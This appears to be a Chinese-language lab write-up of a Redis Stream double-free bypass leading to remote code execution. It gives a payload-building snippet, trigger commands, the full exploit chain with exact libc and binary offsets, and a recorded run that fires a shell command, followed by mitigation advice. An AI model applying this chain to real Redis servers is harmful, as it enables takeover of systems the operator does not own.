一、漏洞概述

该漏洞存在于 Redis Stream 数据结构的 Consumer Group PEL (Pending Entries List) 处理流程中。通过构造恶意的 RDB 备份文件(使用 RESTORE 命令载入),可以使两个 Consumer 共享同一个 streamNACK 结构体。随后通过 XGROUP DELCONSUMER 分别删除这两个 Consumer,触发双重释放 (Double Free),从而导致堆内存损坏。

此漏洞是 CVE-2026-25243 补丁的绕过变种。原始补丁修复了 RDB 加载时的 NACK 共享问题,但新的攻击向量通过不同的代码路径绕过了该修复。

影响范围

版本

利用脚本

说明

Redis 6.2.22

A_exploit_stock.py

基于 dictEntry 伪造 + dict->type 投毒

Redis 7.4.9

P74_exploit.py

基于双 dictEntry 别名 + server.commands->type 投毒

Redis 8.6.4

P86_exploit.py

基于 kvstore 别名 + kvstore.dtype.hashFunction 投毒

Redis 8.8.0+

❌ 不受影响

PR #15081 彻底修复

二、漏洞原理深度分析

2.1 背景:Redis Stream 与 Consumer Group

Redis Stream 是一种追加日志数据结构。Consumer Group 允许多个消费者协同消费 Stream 中的消息。每个 Consumer Group 维护一个 PEL,记录哪些消息已被读取但尚未确认 (ACK)。

Stream
├── entries (消息列表)
└── cgroups (消费者组)
    └── group "g"
        ├── consumers
        │   ├── Consumer "A"
        │   │   └── PEL → [streamNACK(msg1), streamNACK(msg2), ...]
        │   └── Consumer "B"
        │       └── PEL → [streamNACK(msg1), streamNACK(msg2), ...]
        └── pel (全局 PEL)

streamNACK 是一个 24-64 字节的堆分配结构体(因版本而异):

  • 6.2.22: 24 字节
  • 7.4.9: 24 字节
  • 8.6.4: 64 字节

2.2 漏洞触发机制

Step 1: 构造共享 NACK 的 RDB 载荷

def build_df_payload(group=b"g", consumers=(b"A", b"B")):
    rawid = b"\x01" + b"\x00" * 15
    mstime = struct.pack("<q", 1700000000000)
    p = bytes([RDB_TYPE_STREAM_LISTPACKS])  # 类型标记
    p += rdb_len(0)      # listpacks count
    p += rdb_len(0)      # stream length
    # ...
    p += rdb_len(2)      # 2 consumers
    for name in consumers:
        p += rdb_str(name)
        p += mstime
        p += rdb_len(1)   # consumer PEL size = 1
        p += rawid        # 同一个 rawid!
    # ↑ 关键:两个 Consumer 的 PEL 中指向同一个 rawid

Step 2: 双重释放

RESTORE s 0 <payload>          # 载入恶意 RDB
                                # Consumer A.PEL → NACK_C (rawid=X)
                                # Consumer B.PEL → NACK_C (rawid=X)  ← 共享!
                                
XGROUP DELCONSUMER s g A       # free(NACK_C)  → chunk C 回收到 tcache bin
                                # Consumer B.PEL 仍指向 C (悬垂指针)

XGROUP DELCONSUMER s g B       # free(NACK_C)  → 再次释放! Double Free!
                                # jemalloc tcache bin 中 C 出现两次

Step 3: 堆喷 (Heap Spray) 占位

Double Free 后,C 在 jemalloc tcache 中被推入两次。接下来两次同大小分配都会返回 C:

分配 #1: kvobj / sdsdup → 返回 C  (弹出第一次)
分配 #2: sdsdup / dictEntry → 返回 C (弹出第二次)
→ 两个不同的 Redis 对象指向同一块内存!

2.3 利用链(以 6.2.22 为例)

Phase 1: Single-Free UAF (G2)
  └→ 伪造 streamConsumer → XPENDING 任意读 → 泄露 PIE base

Phase 2: Double Free (Stage A)
  └→ 两个 dictEntry 共享同一 chunk → 伪造 dictEntry → GETRANGE/SETRANGE 任意读写

Phase 3: 信息泄露
  ├→ PIE base: 通过 Lua tostring(string.format) CClosure 泄露
  ├→ libc base: 读取 write@GOT → libc write 偏移
  └→ db[0].dict 地址: 通过 server.db 数组

Phase 4: Endgame (dict->type 投毒)
  ├→ 在 BUF 中构造 fake dictType (hashFunction = system)
  ├→ 将空 db 的 dict->type 指针改为 fake dictType
  ├→ 执行 GET "<shell_cmd>" → dictFind → hashFunction(key) → system(cmd)!
  └→ 恢复原始 dict->type 指针 (非破坏性)

Phase 5: 清理
  └→ 删除利用过程中产生的键,恢复 save/slowlog 配置

2.4 为什么是非破坏性的?

利用脚本精心设计了以下保证:

  1. Server 永不会崩溃: 所有读取操作都通过有界 GETRANGE 通道(≤128 字节),避免越界读
  2. dict->type 验证: 写入前先确定性验证目标地址内容,失败则干净退出
  3. RCE 只触发一次: system() 只在指定的空 db 上触发一次
  4. 状态恢复: 利用完成后恢复原始 dict->type 指针、save 配置、slowlog 配置
  5. 残留键: 刻意保留一些利用键(如 fake dictEntry、BUF),因为删除它们会触发二次释放导致崩溃

三、复现环境

攻击机 (Kali Linux)

OS: Kali Linux (rolling)
Kernel: 6.18.12+kali-amd64
IP: 192.168.50.x (同网段)
工具: Python 3.11, GCC, expect

目标机 (Ubuntu 24.04)

OS: Ubuntu 24.04.4 LTS
Hostname: rocky-VMware-Virtual-Platform
Kernel: 7.0.0-28-generic (x86_64)
IP: 192.168.50.125
用户: rocky (sudo 权限)
Docker: 已安装

四、复现步骤

Step 1: 编译 libcrc64.so

Redis RDB 使用 CRC64 校验和,需要编译共享库来构造合法的 RDB 载荷:

cd /home/kali/github/redis-poc
gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c

Step 2: 部署目标 Redis

通过 SSH 连接到目标机器,使用 Docker 部署 Redis 6.2.22:

# SSH 连接 (密码认证)
ssh rocky@192.168.50.125

# 拉取镜像并启动容器
sudo docker pull redis:6.2.22
sudo docker run -d --name redis-vuln -p 6379:6379 \
    redis:6.2.22 redis-server --requirepass exploitme

Step 3: 执行漏洞利用

cd /home/kali/github/redis-poc
python3 A_exploit_stock.py 192.168.50.125 6379 exploitme \
    "id > /data/pwned_by_hermes && echo PWNED"

Step 4: 完整利用输出

[*] connected to 192.168.50.125:6379
[*] save='3600 1 300 100 60 10000' slowlog='10000'
[*] string.format CClosure @ 0x59de323bb7f0
[*] attempt j=0 try=0 -> win
[*] double free: shared dictEntry victim = k001 (guessing partner k005)
[+] BUF sds S=0x75a67a909005 j=171
[+] fake entry live: k001 -> fake RAW robj at 0x75a67a909131
[*] GETRANGE self-test: b'\xff\xff\x01BBBBBBBBBBBBB'
[+] PIE base = 0x59ddf91e9000        ← 泄露 Redis-server 基址
[+] libc base = 0x75a67ace8000        ← 泄露 glibc 基址 (write=0x75a67ade0340)
[*] server.db = 0x75a67a904000
[+] db[0].dict = 0x75a67a80b420 (verified)
[+] empty db dict = 0x75a67a80b600 (verified)
[+] fake dictType at 0x75a67a9091a0 (BUF+411)
[*] poisoning empty db dict->type ...
[*] TRIGGER: GET 'id > /data/pwned_by_hermes && echo PWNED' (scanning dbs)
[+] trigger fired (last reply None)   ← RCE 触发!
[*] restoring db[1].dict->type ...
[+] db[1].dict->type restored = 0x59ddf93eeba0
[*] phantom used = 0
[*] cleanup: deleted 1279 keys (residue left inert)
[*] configs restored (save='3600 1 300 100 60 10000', slowlog='10000')
[+] CHAIN COMPLETE — RCE fired, target restored & functional


Step 5: 验证漏洞利用结果

# 检查容器内是否成功执行命令
$ sudo docker exec redis-vuln cat /data/pwned_by_hermes
uid=999(redis) gid=999(redis) groups=999(redis)

# 验证 Redis 服务仍正常运行
$ redis-cli -a exploitme PING
PONG

$ redis-cli -a exploitme SET test "still_alive"
OK

$ redis-cli -a exploitme GET test
"still_alive"

五、利用链技术细节

5.1 双重释放原语

┌─────────────────────────────────────────────────┐
│  RESTORE 恶意 RDB 载荷                            │
│  ┌─────────────────────────────────────────┐     │
│  │ Consumer A ──→ NACK_C (rawid=0x01..00)  │     │
│  │ Consumer B ──→ NACK_C (同一个 rawid!)     │     │
│  └─────────────────────────────────────────┘     │
└─────────────────┬───────────────────────────────┘
                  │
    ┌─────────────▼──────────────┐
    │ DELCONSUMER A → free(C)    │  C 回到 tcache bin
    │ Consumer B 仍指向 C (悬垂)   │
    └─────────────┬──────────────┘
                  │
    ┌─────────────▼──────────────┐
    │ DELCONSUMER B → free(C)    │  Double Free!
    │ C 在 tcache 中出现两次        │
    └─────────────┬──────────────┘
                  │
    ┌─────────────▼──────────────────────────────┐
    │ alloc #1 → C (kvobj/expire 61B 分配)        │
    │ alloc #2 → C (sdsdup/22-char key 24B 分配)  │
    │ → 两个对象指向同一内存!                        │
    └────────────────────────────────────────────┘

5.2 任意读写通道

BUF (640字节构造的缓冲区)
├── [j-1:j]  = type5 sds header (0xB0)
├── [j:j+22] = 22字节 fake dictEntry key name
├── [M:M+8]  = fake RAW robj header {type=0, enc=0, refcount=1, ptr=S+N}
├── [M+8:M+16] = robj.ptr (可重写为任意地址)
├── [N:N+3]  = fake sds header {len=255, alloc=255, flags=1}
└── [T_DT:]  = fake dictType {hashFunction=system, ...}

GETRANGE k001 0 127 → 读取 robj.ptr 指向的任意内存
SETRANGE k001 0 xxx → 向 robj.ptr 指向的任意内存写入

5.3 dictType 投毒与 RCE

// 正常的 dictFind 调用链:
dictFind(db->dict, key)
  → dict->type->hashFunction(key)    // dictSdsHash(key)
  → dict->type->keyCompare(key, ...)

// 投毒后:
// 将 db->dict->type->hashFunction 改为 system
dictFind(poisoned_dict, "id>/tmp/pwned")
  → system("id>/tmp/pwned")          // 代码执行!

5.4 关键偏移量 (官方 redis:6.2.22 镜像)

符号

偏移

说明

str_format

0x11fc20

PIE 泄露锚点 (Lua string.format CClosure)

write@GOT

0x205170

通过 GOT 泄露 libc base

write@libc

0xf8340

libc 中 write() 偏移

system@libc

0x4c490

libc 中 system() 偏移

server

0x211780

redisServer 全局结构体

dbDictType

0x205ba0

验证 dict->type 的预期值

dictSdsKeyCompare

0x4b4c0

伪造 dictType 的 keyCompare

六、安全建议

6.1 立即行动

  1. 升级 Redis 到 8.8.0+ — 这是唯一的根本修复(PR #15081 重构了相关代码)
  2. 如不能升级:
  • 禁用 RESTORE 命令(rename-command RESTORE "")
  • 禁用 XGROUP DELCONSUMER 命令
  • 但这不保证完全防御,因为可能还有其他触发路径

6.2 纵深防御

  1. 始终设置 requirepass — 该漏洞需要认证后执行
  2. 网络隔离 — Redis 不应暴露在公网
  3. 最小权限 — 以非 root 用户运行 Redis
  4. 禁用危险命令:
rename-command RESTORE ""
rename-command DEBUG ""
rename-command EVAL ""

6.3 检测

检查 Redis 版本是否受影响:

redis-cli INFO server | grep redis_version

七、文件清单

文件

作用

A_exploit_stock.py

6.2.22 完整利用链 (Single-Free UAF + Double Free → RCE)

P74_exploit.py

7.4.9 完整利用链

P86_exploit.py

8.6.4 完整利用链

A_lib.py

共享库: RESP 协议、RDB载荷构造、CRC64 校验

G2_arbread.py

Phase 1: Single-Free UAF → 任意读

P74_g2.py

7.4.9 的 G2 阶段辅助

crc64.c/h, crcspeed.c/h

CRC64 实现 (编译为 libcrc64.so)

calibrate.sh

非官方构建的偏移校准

HARDENING.md

非破坏性保证和残留说明

八、总结

这是一个非常精妙的漏洞利用链,展示了:

  1. Double Free 的经典利用 — 通过 jemalloc tcache 投毒实现堆对象别名
  2. 信息泄露链 — Lua CClosure → PIE → GOT → libc,完全无需 DEBUG 命令
  3. 非破坏性设计 — 利用结束后目标完全恢复正常,不留崩溃痕迹
  4. 跨版本适配 — 同一漏洞原语适配 6.x/7.x/8.x 三个大版本的不同内存布局

该漏洞被评为高危,因为它允许认证用户在 Redis 服务器上执行任意命令。但由于需要 AUTH 认证(或未授权访问),攻击门槛相对较高。

声明: 本文档仅用于授权的安全研究和教育目的。请勿在未授权的系统上使用。